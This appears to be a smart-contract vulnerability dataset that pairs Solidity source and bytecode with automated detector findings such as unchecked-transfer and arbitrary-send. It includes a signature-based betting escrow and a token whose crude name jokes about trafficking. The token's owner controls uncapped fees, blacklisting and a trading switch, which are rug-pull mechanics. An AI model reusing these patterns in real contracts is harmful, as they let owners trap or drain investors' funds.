d2a32e076beab6396d4264736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
529
0xa1f1cf045fd9d964feb29196c6fd3758319a5e49
// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { revert("ECDSA: invalid signature 's' value"); } if (v != 27 && v != 28) { revert("ECDSA: invalid signature 'v' value"); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract Bet { // Addresses of each participant and arbitor [CHANGE ME BEFORE DEPLOYMENT] address public participantA = address(0xd693A6610842E83e500a0521409dE7164d8b1B59); address public participantB = address(0x8E494275dEf32777228cd9ADc315aF5eb5131038); address public arbitor = address(0x597ec75f3b26E2F8141940aeF5439665959b8Efd); // Don't change this, it will be set by the arbitor address public winner = address(0x0); // Allow ETH to be paid into contract receive() external payable {} fallback() external payable {} // Allow ERC223 to be paid into contract function tokenFallback (address from, uint value, bytes memory data) external {} function getSignaturePreimage( address winnerAddress ) public view returns ( bytes memory ){ // Sign winner address to prevent fraud // Sign contract address to prevent replay attacks return abi.encode( winnerAddress, this ); } function setWinner( address winnerAddress, bytes memory countersignature ) external { address countersigner = ECDSA.recover( ECDSA.toEthSignedMessageHash( keccak256( getSignaturePreimage(winnerAddress) ) ), countersignature ); // Require signature from both participants // (one participant signed the transaction // the other signed as countersigner) if (msg.sender == participantA) { require(countersigner == participantB || countersigner == arbitor); } else if (msg.sender == participantB) { require(countersigner == participantA || countersigner == arbitor); } else { revert(); } winner = winnerAddress; } // Transfer ETH out function transferEth( address payable to, uint256 amount ) external { // Only winner can withdraw require(msg.sender == winner); // Transfer eth to.transfer(amount); } // Transfer tokens out function transferToken( address to, uint256 amount, address tokenContractAddress ) external { // Only winner can withdraw require(msg.sender == winner); // Transfer tokens IERC20(tokenContractAddress).transfer(to, amount); } }
0x60806040526004361061008a5760003560e01c8063cfa25ce111610059578063cfa25ce1146102f7578063dfbf53ae1461030c578063e9bb84c214610321578063f640d5081461035a578063ff925fe51461039d57610091565b80636074021d146100935780637898657514610156578063ac21b6f4146101fe578063c0ee0b8a1461022f57610091565b3661009157005b005b34801561009f57600080fd5b50610091600480360360408110156100b657600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100e157600080fd5b8201836020820111156100f357600080fd5b8035906020019184600183028401116401000000008311171561011557600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506103b2945050505050565b34801561016257600080fd5b506101896004803603602081101561017957600080fd5b50356001600160a01b031661048f565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101c35781810151838201526020016101ab565b50505050905090810190601f1680156101f05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020a57600080fd5b506102136104bc565b604080516001600160a01b039092168252519081900360200190f35b34801561023b57600080fd5b506100916004803603606081101561025257600080fd5b6001600160a01b038235169160208101359181019060608101604082013564010000000081111561028257600080fd5b82018360208201111561029457600080fd5b803590602001918460018302840111640100000000831117156102b657600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506104cb945050505050565b34801561030357600080fd5b506102136104d0565b34801561031857600080fd5b506102136104df565b34801561032d57600080fd5b506100916004803603604081101561034457600080fd5b506001600160a01b0381351690602001356104ee565b34801561036657600080fd5b506100916004803603606081101561037d57600080fd5b506001600160a01b0381358116916020810135916040909101351661053b565b3480156103a957600080fd5b506102136105da565b60006103d56103cf6103c38561048f565b805190602001206105e9565b8361063a565b6000549091506001600160a01b0316331415610422576001546001600160a01b038281169116148061041457506002546001600160a01b038281169116145b61041d57600080fd5b61046b565b6001546001600160a01b0316331415610466576000546001600160a01b038281169116148061041457506002546001600160a01b0382811691161461041d57600080fd5b600080fd5b5050600380546001600160a01b0319166001600160a01b0392909216919091179055565b604080516001600160a01b0392909216602083015230828201528051808303820181526060909201905290565b6000546001600160a01b031681565b505050565b6002546001600160a01b031681565b6003546001600160a01b031681565b6003546001600160a01b0316331461050557600080fd5b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156104cb573d6000803e3d6000fd5b6003546001600160a01b0316331461055257600080fd5b806001600160a01b031663a9059cbb84846040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156105a957600080fd5b505af11580156105bd573d6000803e3d6000fd5b505050506040513d60208110156105d357600080fd5b5050505050565b6001546001600160a01b031681565b604080517f19457468657265756d205369676e6564204d6573736167653a0a333200000000602080830191909152603c8083019490945282518083039094018452605c909101909152815191012090565b60008151604114610692576040805162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e67746800604482015290519081900360640190fd5b60208201516040830151606084015160001a7f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08211156107035760405162461bcd60e51b81526004018080602001828103825260228152602001806108266022913960400191505060405180910390fd5b8060ff16601b1415801561071b57508060ff16601c14155b156107575760405162461bcd60e51b81526004018080602001828103825260228152602001806108486022913960400191505060405180910390fd5b600060018783868660405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa1580156107b3573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661081b576040805162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e61747572650000000000000000604482015290519081900360640190fd5b969550505050505056fe45434453413a20696e76616c6964207369676e6174757265202773272076616c756545434453413a20696e76616c6964207369676e6174757265202776272076616c7565a2646970667358221220ace45683b4c6d2f67782ee8bc62a09ec41c9e129930e53f716375ead5ced746464736f6c63430007000033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
530
0x10b579d7a5ac54a118c8c14d6ce43dc4eb815e3e
/** *Submitted for verification at Etherscan.io on 2022-02-27 */ /** Telegram: https://t.me/AdoptAUkrainianGirl Website: https://adoptaukrainiangirl.com/ ^YJJJJJ5: ~#J??77!&^ ~#?7?7!!J#. ~!!!!!. ~#?7GJ7!~B? :&JJJ?&~ .. ^#?7BB77!7&: PP77!?#. !BY5B ^#[email protected]!~G5 .&?77!GY ~~~~~: .&?!PP .::. ^#[email protected]#77!!&^ 7B77!!&^ YBJJJP# BY7!#~ .:^^ JP5PPY55 .:~~~: ^#J7PB#57!~5B. #Y77!5B. &?77!BJ ~B57!Y#. :5555BB7 PG7#J5B~PGYPP5J7?JG! .^!7JJYYYBJ7J#GB?7!~PPYJJJYYYJP ^7JYY5B777!#7 .!?JYYYYYYYYYYYYYYYJ5Y#7777BPYJ!. PP5?77!5GJP^ :7JYYYYJJJJ5. .YB. .&?77PB:. .Y#?55PJ7PP5J?7P5^^7#.^J5P5YJ??????777!!!!~~~~~~~!!7??P#YG5J??????7!?#. .PGY?????????????????5#&5777!!777JB7 JB7??7!~~~?#^ :GPYJ??777!!7&. .JBJ#~ B5?77Y55YY5PPPG5P&Y7#7.. .#?~^##PJ?77J5P5B5!~JPY5G~~~~5PY555Y555Y#577!5GPB?7!~GY .#5777GPB5??5B5PPPPPPPY7&??7!PP7!!~!&: YPB?7!~YP5Y^. ~#J7??BPB7!!~P5 .. .JB#B!#~ 7555Y5PPP5J7!^~#Y?B~.... .?Y#G?777YBY~:J#!^YB^.YB~~~!&^....... 5P~!!!&~YB~~~~&^ PP777?&^&J77J&^....... 5G77!7#5B~!~~&~ ~#!~~~&!.. #?7775B?#!!~~&^ B#5Y7~: ?BB#&7~#~ .~YPPPP5Y?^.BY7&5YYYJJJJ?^ YB!!7!J#^ .5G~^5B:. #7~~~5P. #!~~~JB.#?~~~YG. #7~~~PY7B~!!~&^ #?!!~PY!#~~~?#. GY~~~?#. !B~!7!#?BY~~~JB. PGGG5555J!^.7B#P7#J~~#~ :5PJ77777?J5GP!YB?!~~~~~~!JYP!!!!~#J.7GJ^~GP.. ~#~~~~#~ .&~~~~PP7#~~~~#J... #7~~~&!BJ~~~?#. ~B~~~~&7B?~~?&7:.. .#~~~~B5... JG~!!~#5#~~~~#J... 5B#&P5??J55BB!.G5~~~#^ ^B7~!!!!77777777!~~~~~~~~~^^^~~~~~~JP5J~^JB?. GJ~~~JB. #!~~~~JY7~~~~5YYJJ#. 7B~~~JPP~~~!#7. GJ~~~J&57~~!55JYJY# ?G^~~~YYYJJJ5B ~#~~~~!Y?~~~~YYYJJ#. ?BGG?5PY?!Y#.PG~~~~#!. #!~~~~~~!!!!7777~~~~~~~~~~~~^~~~~~~~~^~?G5:. .&!!!!#7 !B7~~~!P5!!!!!!!7G5. 7GJ!~~~!7YG!. .#~~~~B&7!!!!!!!!7GY 7B!!!!!!!!!?B? 5P!~~7PP7!!!!!!7P5. ~BPG:^JPPJG&G!7JYYPGPY7^. .&!^~~~~~~~~~~~~~~~~~~~~~~~~^~PP5?7!7?YPY^. .J?JJJJ. :YYY5Y!7JJJJJJJ?~. .!JYYYYJ!.. JP^~~!#!JJJJJJJJJ?~. ^?JJJJJJJJ?^. !YYYY!7JJJJJJJ?~. JBJPYY5B#G#PG#GYJY5G#&#BPY?~:. !G?~^^~~~~~~~~~~~~~~~~~~^^^7G?:~7?J?7~:. .. ... #7~~~PP. . YP!~~~!JYB#?&P?!~!!!!!7?JYYYPBG .?5Y?!~^^^~~~~~~~~~~^^~!JPY^. ~#~~~~&~ ~G?^~!J5Y7!#7^G57PY^!7?JYYJ?7~^. .^7Y5YJ7~^^~~~~~^~?Y5Y!:. GY~~~J#. .55~75PPJ777P?^^!#.7BP57~^:.. :~?55?^~~^~YPJ^.. YYYYYP! ?GY5B&#GGGGPPG7^~^PY?P#^ : :JG^^7GJ:. ... GBJ55J?7!~^:..:P5~^~#B5#: :::::::::::: ~JJJ7. :GYG^ ^#^YB^. :~!!!~~^. 7G7^[email protected]#. PGY5555555Y5&:G5?77JB! P5:~JJJJJ7PP.. .~~^ .~~^ ^J555YYYYYYPJ :PY^G7G~. !B!77777??775GB5!7!!~!&: ..... .55?!!7?Y5!. PGYY5G7 5G5Y5G? ?GPJ?7?J?777!!PP GY^~~YG: .... .&YJJJJJ????7#J&?77!!!~#7 #5YYY#^ :~7?7!:. GG7?77!#! 5G7??7!#7 !B5?77YG5#P77!!~!&: .#!^~^^!#. ^#55Y5# ~!!777#P7??J&:#5!7!!~~#! 7B!!~7&. &????7~5G &J???7~YB PG????BG^.J#!!!~~7&. !B^~~~~^#7 GP77!YB .#7!7!G5.^B57~~~~&: #J!!~PP B57?7!~BJ GP7?7!~G5 GP7???#5.. .G5!~~7B?. :#^^~~^~#^ .&?77~#7 !B~!!!&^ .7PP~~J#. :&77!!&~.^^:: ?5555#: :BPJ??GP. .BPJ??PG. 5G77?7BP.. 75Y55~. 7G7~~7P?. !55YYB7 JB77!?#. BJ!!~JB. JG~^BJ PG77!JB^B5JP#. .#5?77J#. !JJJ!. !JJJ!. :#777?Y#.. . .7?J?^. GP?7!!#^ #Y77~G5 .#!!!~B? #7~!&: &J?7!BBBJ!YB: 5G7?77GB!!~~~^ :^~~~~~~~~ .~~!!!: ~~~~~: :7?J: .~~!!!: :^~~~~~~~~. ~~~~~: :7??: G5!777#J :~~~~~. ^~~!!!. ~&777!J&7!~~~~. ^#77!!&^ YP~~~!&: !B~^G5. 7#[email protected]#7!J#5^ YB7??7?JYYJJJ&: ^5P5YJJYYYYJ&~ &5YYJ#J GGJYJGG:GPJ?J&. #PYYJB5 :5P5YJJYYYJJ#J GGYYJGG:GP?77&. &7!777&~ &J??7G5 ^&YYJJ&: ^&??7!!?JYYYJ&7 GP7!~YB. #7~~~5P. #7~7#: BJ7775B!!!!~?#. PG?7?55J77!YB. 5BJ77Y55?777?#. !#7777&^ .&?777##BJ7777&: ^#7?7!&~ ?BJ77?55J777!&^ .&???7##BJ!!~!&: .&!!!!7&^ ?B~~~~#~ G5!!~JB. ?B?!!YYY7777&: .&?!~~#7 ~#~!~~#~ P5^~#?. :#~!!~?~!7~~~!&: :&!~#J&Y77~B? YB7???&?&J?7!G5 BY77!YB. [email protected]??7!YB. G577!J#. !#???7#Y&577!YB. [email protected]!~~JB. .&!!!!!#! #?~~~J#. .&!~~~B? #?^PPGG!7!5G. ?G~~~7#. P5~!~7&. ?G~^5G. 55~~~~^!#?~~~5G. 55^?#~#~~~7&: .&???75B7#77!!&^ :#!!!~#7 #J777JJ7Y77!~#7 .&7!!~BJ #J777?#!&?7!~#7 #J7?7JJ7Y!~~~#7 GY~!!~YB. ^#~~~~B? JG~~~!&: ~B~~&~#7~~~#! #7~~^G5 GY~~~!&^ .YP~^J#:. #!~~~~J&&~~~~#! .#~^B7P5~~~P5 ^#!!!~BYBY~~~YB. 5P~~~7&. ~#~!~~~7&5~~~7#. JG~~~!&: .&!!!~5G5P~~~7#. ^#~!!~~7&5~~~7#. :#7~~~~5G^ GY~~~7&. #7~~~5P G?^5G!#~~~?#. ^#~~~!&^ ?G^~~~?PY5?^^J#^. !B~~~~PPB5~~~!#YJ??J !#?5G:&!~~~GPJJ?Y: :&~~~~?PG~~~~PGJJ?Y: #!~~~JBJJ?J~ GY~~~~Y#&!~~~YBJJ?Y~ #7~~~?#JJ?J! &!~~~7PB!~~~YBJJ?J~ GY~~~~Y#&!~~~YBJJ?Y~ ^BJ~~~~7YYYB~~~^P5 ~#~~~~GPJJ?Y. .&JYB^GY~~~5BJJ?J! PY~~~7#JJ??J BY~~~~^~^~7PP:. B?~~7BY.BJ~~~~~~~!GP :^^..&7~~~~~~~?&^ G5~~~^7Y~~~~~~~~?&^ .&!~~~~~~~7#7 .&~~~7GY!&~~~~~~~~7#! #7~~~~~~~7#? JG~~~~!Y~~~~~~~~7#7 .#~~~7GY!&~~~~~~~~7#! .?PY?!~~~~~~~~~&^ !#~~~~~~~!J#. :^^. BY~~~~~~~!BJ #?~~~~~~~!GP JPY???JY55~. BYY55~. ^5YYYYYY55?. ~PYYYYYY55~. YPYY5P55YYYYYY55~. ~5YYYYYY55!. ^BYY55~..J5YYYYYY55~. ^5YYYYYY55!. ?PYY5P55YYYYYY55!. ^BYY55~..J5YYYYYY55~. .^?JYY5P~~~~YB. J5YYYYYY5Y: .5YYYYYY557. ^5YYYYYY55?. .^!!!~^.. .... ........ ........ .:^:........... ........ .... ........ ........ .:^:........... .... ........ .YB~~~!#~ ....... ........ ........ #?~!JB7. YJYJ7:. */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Adoptaukrainiangirl is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Adopt A Ukrainian Girl"; string private constant _symbol = "AAUG"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 11; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x0488C475f76aCec0d3D4E0DE35e03071e2fb154C); address payable private _marketingAddress = payable(0x0488C475f76aCec0d3D4E0DE35e03071e2fb154C); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 25000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
